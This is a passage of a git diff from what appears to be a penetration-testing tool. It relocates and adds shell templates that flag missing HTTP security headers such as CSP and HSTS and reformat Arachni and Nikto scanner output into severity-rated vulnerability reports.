+	URI=""
+else
+	AUTHOR='@xer0dayz'
+	VULN_NAME='CSP Not Enforced'
+	FILENAME="$LOOT_DIR/web/headers-http-$TARGET.txt"
+	MATCH="content-security-policy"
+	SEVERITY='P5 - INFO'
+	GREP_OPTIONS='-i'
+	SEARCH='negative'
+	SECONDARY_COMMANDS=''
+	URI=""
+fi
\ No newline at end of file
diff --git a/templates/passive/Clear-text_Communications_HTTP.sh b/templates/passive/web/Clear-text_Communications_HTTP.sh
similarity index 94%
rename from templates/passive/Clear-text_Communications_HTTP.sh
rename to templates/passive/web/Clear-text_Communications_HTTP.sh
index c7b0af9..d8b8286 100644
--- a/templates/passive/Clear-text_Communications_HTTP.sh
+++ b/templates/passive/web/Clear-text_Communications_HTTP.sh
@@ -7,4 +7,6 @@ if [ "$SSL" = "false" ]; then
 	GREP_OPTIONS='-i'
 	SEARCH='positive'
 	SECONDARY_COMMANDS=''
+else
+	break
 fi
\ No newline at end of file
diff --git a/templates/passive/Clickjacking.sh b/templates/passive/web/Clickjacking.sh
similarity index 96%
rename from templates/passive/Clickjacking.sh
rename to templates/passive/web/Clickjacking.sh
index f8b9046..20f57fb 100644
--- a/templates/passive/Clickjacking.sh
+++ b/templates/passive/web/Clickjacking.sh
@@ -8,7 +8,7 @@ if [ -f $LOOT_DIR/web/headers-http-$TARGET.txt ]; then
 		GREP_OPTIONS='-i'
 		SEARCH='negative'
 		SECONDARY_COMMANDS=''
-		URI="/"
+		URI=""
 	else
 		AUTHOR='@xer0dayz'
 		VULN_NAME='Clickjacking HTTPS'
@@ -18,6 +18,6 @@ if [ -f $LOOT_DIR/web/headers-http-$TARGET.txt ]; then
 		GREP_OPTIONS='-i'
 		SEARCH='negative'
 		SECONDARY_COMMANDS=''
-		URI="/"
+		URI=""
 	fi
 fi
\ No newline at end of file
diff --git a/templates/passive/Drupal_Detected.sh b/templates/passive/web/Drupal_Detected.sh
similarity index 74%
rename from templates/passive/Drupal_Detected.sh
rename to templates/passive/web/Drupal_Detected.sh
index ef4c35f..e27175d 100644
--- a/templates/passive/Drupal_Detected.sh
+++ b/templates/passive/web/Drupal_Detected.sh
@@ -1,7 +1,7 @@
 AUTHOR='@xer0dayz'
 VULN_NAME='Drupal Detected'
 FILENAME="$LOOT_DIR/web/headers-htt*-$TARGET.txt"
-MATCH='X-Generator: Drupal '
+MATCH="X\-Generator\:\ Drupal\ "
 SEVERITY='P5 - INFO'
 GREP_OPTIONS='-i'
 SEARCH='positive'
diff --git a/templates/passive/Expired_SSL_Certificate.sh b/templates/passive/web/Expired_SSL_Certificate.sh
similarity index 100%
rename from templates/passive/Expired_SSL_Certificate.sh
rename to templates/passive/web/Expired_SSL_Certificate.sh
diff --git a/templates/passive/Insecure_Cookie_-_HTTPOnly_Not_Set.sh b/templates/passive/web/Insecure_Cookie_-_HTTPOnly_Not_Set.sh
similarity index 100%
rename from templates/passive/Insecure_Cookie_-_HTTPOnly_Not_Set.sh
rename to templates/passive/web/Insecure_Cookie_-_HTTPOnly_Not_Set.sh
diff --git a/templates/passive/Insecure_Cookie_-_Secure_Not_Set.sh b/templates/passive/web/Insecure_Cookie_-_Secure_Not_Set.sh
similarity index 100%
rename from templates/passive/Insecure_Cookie_-_Secure_Not_Set.sh
rename to templates/passive/web/Insecure_Cookie_-_Secure_Not_Set.sh
diff --git a/templates/passive/Insecure_SSL_TLS_Connection.sh b/templates/passive/web/Insecure_SSL_TLS_Connection.sh
similarity index 100%
rename from templates/passive/Insecure_SSL_TLS_Connection.sh
rename to templates/passive/web/Insecure_SSL_TLS_Connection.sh
diff --git a/templates/passive/Insecure_SSL_TLS_Connection_CN_Mismatch.sh b/templates/passive/web/Insecure_SSL_TLS_Connection_CN_Mismatch.sh
similarity index 95%
rename from templates/passive/Insecure_SSL_TLS_Connection_CN_Mismatch.sh
rename to templates/passive/web/Insecure_SSL_TLS_Connection_CN_Mismatch.sh
index 2f25f6f..9be0b25 100644
--- a/templates/passive/Insecure_SSL_TLS_Connection_CN_Mismatch.sh
+++ b/templates/passive/web/Insecure_SSL_TLS_Connection_CN_Mismatch.sh
@@ -8,4 +8,6 @@ if [ "$SSL" = "true" ]; then
 	SEARCH='positive'
 	SECONDARY_COMMANDS=''
 	URI="/"
-fi
\ No newline at end of file
+else
+	break
+fi
diff --git a/templates/passive/Interesting_Title_Found.sh b/templates/passive/web/Interesting_Title_Found.sh
similarity index 100%
rename from templates/passive/Interesting_Title_Found.sh
rename to templates/passive/web/Interesting_Title_Found.sh
diff --git a/templates/passive/Server_Header_Disclosure.sh b/templates/passive/web/Server_Header_Disclosure.sh
similarity index 100%
rename from templates/passive/Server_Header_Disclosure.sh
rename to templates/passive/web/Server_Header_Disclosure.sh
diff --git a/templates/passive/web/Strict_Tranposrt_Security_Not_Enforced.sh b/templates/passive/web/Strict_Tranposrt_Security_Not_Enforced.sh
new file mode 100644
index 0000000..65e41a7
--- /dev/null
+++ b/templates/passive/web/Strict_Tranposrt_Security_Not_Enforced.sh
@@ -0,0 +1,12 @@
+if [ "$SSL" = "true" ]; then
+	AUTHOR='@xer0dayz'
+	VULN_NAME='Strict Tranposrt Security Not Enforced'
+	FILENAME="$LOOT_DIR/web/headers-https-$TARGET.txt"
+	MATCH="strict-transport-security"
+	SEVERITY='P4 - LOW'
+	GREP_OPTIONS='-i'
+	SEARCH='negative'
+	SECONDARY_COMMANDS=''
+else
+	break
+fi
\ No newline at end of file
diff --git a/templates/passive/Trace_Method_Enabled.sh b/templates/passive/web/Trace_Method_Enabled.sh
similarity index 100%
rename from templates/passive/Trace_Method_Enabled.sh
rename to templates/passive/web/Trace_Method_Enabled.sh
diff --git a/templates/passive/X-Powered-By_Header_Found.sh b/templates/passive/web/X-Powered-By_Header_Found.sh
similarity index 100%
rename from templates/passive/X-Powered-By_Header_Found.sh
rename to templates/passive/web/X-Powered-By_Header_Found.sh
diff --git a/templates/passive/web/recursive/Arachni_Vulnerability_Scan_-_HTTP.sh b/templates/passive/web/recursive/Arachni_Vulnerability_Scan_-_HTTP.sh
new file mode 100644
index 0000000..049124a
--- /dev/null
+++ b/templates/passive/web/recursive/Arachni_Vulnerability_Scan_-_HTTP.sh
@@ -0,0 +1,39 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='Arachni Vulnerability Scan - HTTP'
+FILENAME="$LOOT_DIR/web/arachni-$TARGET-webscan-http.txt"
+OUTPUT_NAME=$(echo $VULN_NAME | sed -E 's/[^[:alnum:]]+/_/g')
+
+rm -f $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt 2> /dev/null
+rm -f /tmp/report.txt
+touch /tmp/report.txt
+x=0
+cat $FILENAME | egrep 'Proof\:|URL\:|Severity\:|\[\+\]\ \[' | sed 's/\n//g' | awk '{print $3 " " $4 " " $5 " " $6 " " $7 " " $8 " " $9 " " $10 " " $11 " " $12 " " $13 " " $14 " " $15}' | tr -d '"' > /tmp/out
+
+# DELETE FIRST LINE
+sed -i '1d' /tmp/out
+
+cat /tmp/out | while read line; do
+  x=$(( x+1 ))
+  if [ $x -eq "1" ]; then
+    echo "$line," | tr -d '\n' >> /tmp/report.txt
+  elif [ $x -eq "2" ]; then
+    if [[ $line =~ .*Critical.* ]]; then
+      echo "P1 - CRITICAL," | tr -d '\n' >> /tmp/report.txt
+    elif [[ $line =~ .*High.* ]]; then
+      echo "P2 - HIGH," | tr -d '\n' >> /tmp/report.txt
+    elif [[ $line =~ .*Medium.* ]]; then
+      echo "P3 - MEDIUM," | tr -d '\n' >> /tmp/report.txt
+    elif [[ $line =~ .*Low.* ]]; then
+      echo "P4 - LOW," | tr -d '\n' >> /tmp/report.txt
+    elif [[ $line =~ .*Informational.* ]]; then
+      echo "P5 - INFO," | tr -d '\n' >> /tmp/report.txt
+    fi
+  elif [ $x -eq "3" ]; then
+    echo "$line," | tr -d '\n' >> /tmp/report.txt  
+  elif [ $x -eq "4" ]; then
+    echo "$line" >> /tmp/report.txt
+    x=0
+  fi
+done
+cat /tmp/report.txt | awk -F',' '{print $2 ", " $1 ", " $3 ", " $4 " " $5 " " $6 " " $7 " " $8 " " $9 " " $10}' >> $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt
+cat $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt
\ No newline at end of file
diff --git a/templates/passive/web/recursive/Arachni_Vulnerability_Scan_-_HTTPS.sh b/templates/passive/web/recursive/Arachni_Vulnerability_Scan_-_HTTPS.sh
new file mode 100644
index 0000000..8786ede
--- /dev/null
+++ b/templates/passive/web/recursive/Arachni_Vulnerability_Scan_-_HTTPS.sh
@@ -0,0 +1,39 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='Arachni Vulnerability Scan - HTTPS'
+FILENAME="$LOOT_DIR/web/arachni-$TARGET-webscan-https.txt"
+OUTPUT_NAME=$(echo $VULN_NAME | sed -E 's/[^[:alnum:]]+/_/g')
+
+rm -f $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt 2> /dev/null
+rm -f /tmp/report.txt
+touch /tmp/report.txt
+x=0
+cat $FILENAME | egrep 'Proof\:|URL\:|Severity\:|\[\+\]\ \[' | sed 's/\n//g' | awk '{print $3 " " $4 " " $5 " " $6 " " $7 " " $8 " " $9 " " $10 " " $11 " " $12 " " $13 " " $14 " " $15}' | tr -d '"' > /tmp/out
+
+# DELETE FIRST LINE
+sed -i '1d' /tmp/out
+
+cat /tmp/out | while read line; do
+  x=$(( x+1 ))
+  if [ $x -eq "1" ]; then
+    echo "$line," | tr -d '\n' >> /tmp/report.txt
+  elif [ $x -eq "2" ]; then
+    if [[ $line =~ .*Critical.* ]]; then
+      echo "P1 - CRITICAL," | tr -d '\n' >> /tmp/report.txt
+    elif [[ $line =~ .*High.* ]]; then
+      echo "P2 - HIGH," | tr -d '\n' >> /tmp/report.txt
+    elif [[ $line =~ .*Medium.* ]]; then
+      echo "P3 - MEDIUM," | tr -d '\n' >> /tmp/report.txt
+    elif [[ $line =~ .*Low.* ]]; then
+      echo "P4 - LOW," | tr -d '\n' >> /tmp/report.txt
+    elif [[ $line =~ .*Informational.* ]]; then
+      echo "P5 - INFO," | tr -d '\n' >> /tmp/report.txt
+    fi
+  elif [ $x -eq "3" ]; then
+    echo "$line," | tr -d '\n' >> /tmp/report.txt  
+  elif [ $x -eq "4" ]; then
+    echo "$line" >> /tmp/report.txt
+    x=0
+  fi
+done
+cat /tmp/report.txt | awk -F',' '{print $2 ", " $1 ", " $3 ", " $4 " " $5 " " $6 " " $7 " " $8 " " $9 " " $10}' >> $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt
+cat $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt
\ No newline at end of file
diff --git a/templates/passive/web/recursive/Nikto_Vulnerability_Scan-HTTP.sh b/templates/passive/web/recursive/Nikto_Vulnerability_Scan-HTTP.sh
new file mode 100644
index 0000000..12cfa81
--- /dev/null
+++ b/templates/passive/web/recursive/Nikto_Vulnerability_Scan-HTTP.sh
@@ -0,0 +1,12 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='Nikto Vulnerability Scan - HTTP'
+FILENAME="$LOOT_DIR/web/nikto-$TARGET-http-port443.txt"
+OUTPUT_NAME=$(echo $VULN_NAME | sed -E 's/[^[:alnum:]]+/_/g')
+MATCH="\+"
+GREP_OPTIONS='-ih'
+
+rm -f $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt 2> /dev/null
+
+egrep "$GREP_OPTIONS" "$MATCH" $FILENAME | grep -v "Target\ " | awk -v AWK_TARGET="$TARGET" '$50=AWK_TARGET{print "P4 - LOW, Nikto Vulnerability Scan - HTTP, http://" $50 ", " $2 " " $3 " " $4 " " $5 " " $6 " " $7 " " $8" " $9 " " $10 " " $11 " " $12" " $13 " " $14 " " $15 " " $16 " " $17 " " $18 " " $19 " " $20 " " $21 " " $22 " " $23 " " $24 " " $25}' >> $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt
+
+cat $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt
\ No newline at end of file
diff --git a/templates/passive/web/recursive/Nikto_Vulnerability_Scan-HTTPS.sh b/templates/passive/web/recursive/Nikto_Vulnerability_Scan-HTTPS.sh
new file mode 100644
index 0000000..c570ba5
--- /dev/null
+++ b/templates/passive/web/recursive/Nikto_Vulnerability_Scan-HTTPS.sh
@@ -0,0 +1,12 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='Nikto Vulnerability Scan - HTTPS'
+FILENAME="$LOOT_DIR/web/nikto-$TARGET-https-port443.txt"
+OUTPUT_NAME=$(echo $VULN_NAME | sed -E 's/[^[:alnum:]]+/_/g')
+MATCH="\+"
+GREP_OPTIONS='-ih'
+
+rm -f $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt 2> /dev/null
+
+egrep "$GREP_OPTIONS" "$MATCH" $FILENAME | grep -v "Target\ " | awk -v AWK_TARGET="$TARGET" '$50=AWK_TARGET{print "P4 - LOW, Nikto Vulnerability Scan - HTTPS, https://" $50 ", " $2 " " $3 " " $4 " " $5 " " $6 " " $7 " " $8" " $9 " " $10 " " $11 " " $12" " $13 " " $14 " " $15 " " $16 " " $17 " " $18 " " $19 " " $20}' >> $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt
+
+cat $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt
\ No newline at end of file